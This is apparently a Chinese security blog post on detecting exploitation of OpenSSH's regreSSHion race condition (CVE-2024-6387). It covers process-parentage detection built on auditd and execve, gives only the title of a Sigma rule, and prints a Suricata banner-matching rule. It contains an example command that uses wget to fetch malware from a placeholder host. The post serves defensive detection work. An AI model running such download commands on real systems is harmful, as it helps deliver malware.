背景:
Qualys团队在OpenSSH服务器(sshd)中发现了一个漏洞(信号处理程序竞争条件):如果客户端未能在LoginGraceTime秒内完成身份验证(默认为120秒,旧版OpenSSH为600秒),sshd的SIGALRM处理程序会被异步调用,但这个信号处理程序会调用各种非异步信号安全的函数(例如syslog())。这个竞争条件影响了默认配置下的sshd。经过调查,我们发现这个漏洞实际上是2006年由Mark Dowd报告的CVE-2006-5051("OpenSSH 4.4版本之前的信号处理程序竞争条件允许远程攻击者导致拒绝服务(崩溃),并可能执行任意代码")的重现。
简而言之:如果客户端在LoginGraceTime期间内未能完成身份验证,OpenSSH的SIGALRM信号处理程序中会出现竞争条件。当SIGALRM被触发时,它会使用不安全的异步函数来执行存储在内存中的代码。这个漏洞通过竞争条件造成内存损坏,从而使信号处理程序执行攻击者的代码而非预期代码。
1.行为
execve
在编写Linux检测内容时,理解execve的工作原理至关重要。虽然深入探讨可以留待以后,但了解基础知识对我们的目的来说已经足够了。以下是man页面对execve系统调用的描述:
execve()执行由filename指向的程序。filename必须是二进制可执行文件,或者以以下形式开头的脚本:
这意味着当你在shell中输入类似./exp的命令时,你实际上是在对相关的二进制文件或脚本调用execve系统调用,从而启动进程。这个动作通常会被auditd等工具记录。auditd生成的进程执行日志可以被视为类似于Windows事件ID 4688,后者记录进程创建事件。
整合检测策略
让我们回顾一下我们所知道的:
1. RegreSSHion(CVE-2024-6387)利用竞争条件在内存中执行shellcode。
2. shellcode将存储在sshd进程内存中,很可能包含某种形式的execve来执行命令或代码。
3. 由于sshd执行恶意shellcode,调用新进程,sshd很可能是被执行内容的父进程。
父进程关系是一个有用的检测组合,我们将用它来检测SSH的远程代码执行。
检测任何从sshd派生的shell会有问题,因为通常当你SSH进入系统时,会为你生成一个用于交互的shell。这是常见活动。然而,如果有人执行恶意bash命令,比如bash -c "wget https://xxx.com/malware",它会导致wget作为sshd的子进程出现。
父进程关系解释
当你执行bash -c "wget https://xxx.com/malware"时,sshd是启动用户会话并生成初始shell的父进程。在这种情况下,bash使用-c选项执行作为字符串提供的命令。一旦bash运行命令,它就会执行wget,但不会为它创建单独的父进程。因此,wget命令会显示为sshd的直接子进程,而不是bash的。这是因为bash -c在当前shell的上下文中执行命令,而该shell仍然是sshd的子进程。
Sigma规则
由于shell本身作为子进程太常见,仅凭SSH的工作方式无法检测,我们可以转而检测那些不太常见但可能需要执行的操作,比如下载第二阶段恶意软件或攻击工具,或者执行它们。考虑到这一点,我们可以创建一个Sigma规则来检测这种活动:
title: 检测SSH/SSHD的可疑子进程或命令
需要注意的是,虽然这可能会捕获大量的利用活动,但这个检测器并非万无一失,攻击者可能会规避它,部署时应该牢记这一点。
2.流量(Snort/Suricata检测规则)
alert ssh any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET INFO Server Responded with Vulnerable OpenSSH Version (CVE-2024-6387)"; flow:established,to_client; content:"SSH-"; startswith; content:"-OpenSSH_"; fast_pattern; pcre:"/^(?:[123]|4\.(?:[0123](?:p\d)?|4[^p])|8\.(?:[6789](?:p\d)?|5(?:p[^1])?)|9\.(?:[01234567](?:p\d)?|8[^p]))(?:\.\d)*(?:\d|p\d)*/R"; reference:cve,2024-6387; reference:url,blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server; classtype:successful-recon-largescale; sid:2054218; rev:2; metadata:attack_target Client_and_Server, created_at 2024_07_01, cve CVE_2024_6387, deployment Perimeter, deployment Internal, former_category EXPLOIT, performance_impact Significant, signature_severity Informational, updated_at 2024_07_02, former_sid 2857461, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application; target:dest_ip;)
推荐阅读
闲谈
**
威胁情报**
1.威胁情报 - 最危险的网络安全工作
2.威胁情报专栏 | 威胁情报这十年(前传)
3.网络威胁情报的未来
4.情报内生?| 利用威胁情报平台落地网空杀伤链的七种方法
5.威胁情报专栏 | 特别策划 - 网空杀伤链
**
APT**
**
入侵分析与红队攻防**
**
天御智库**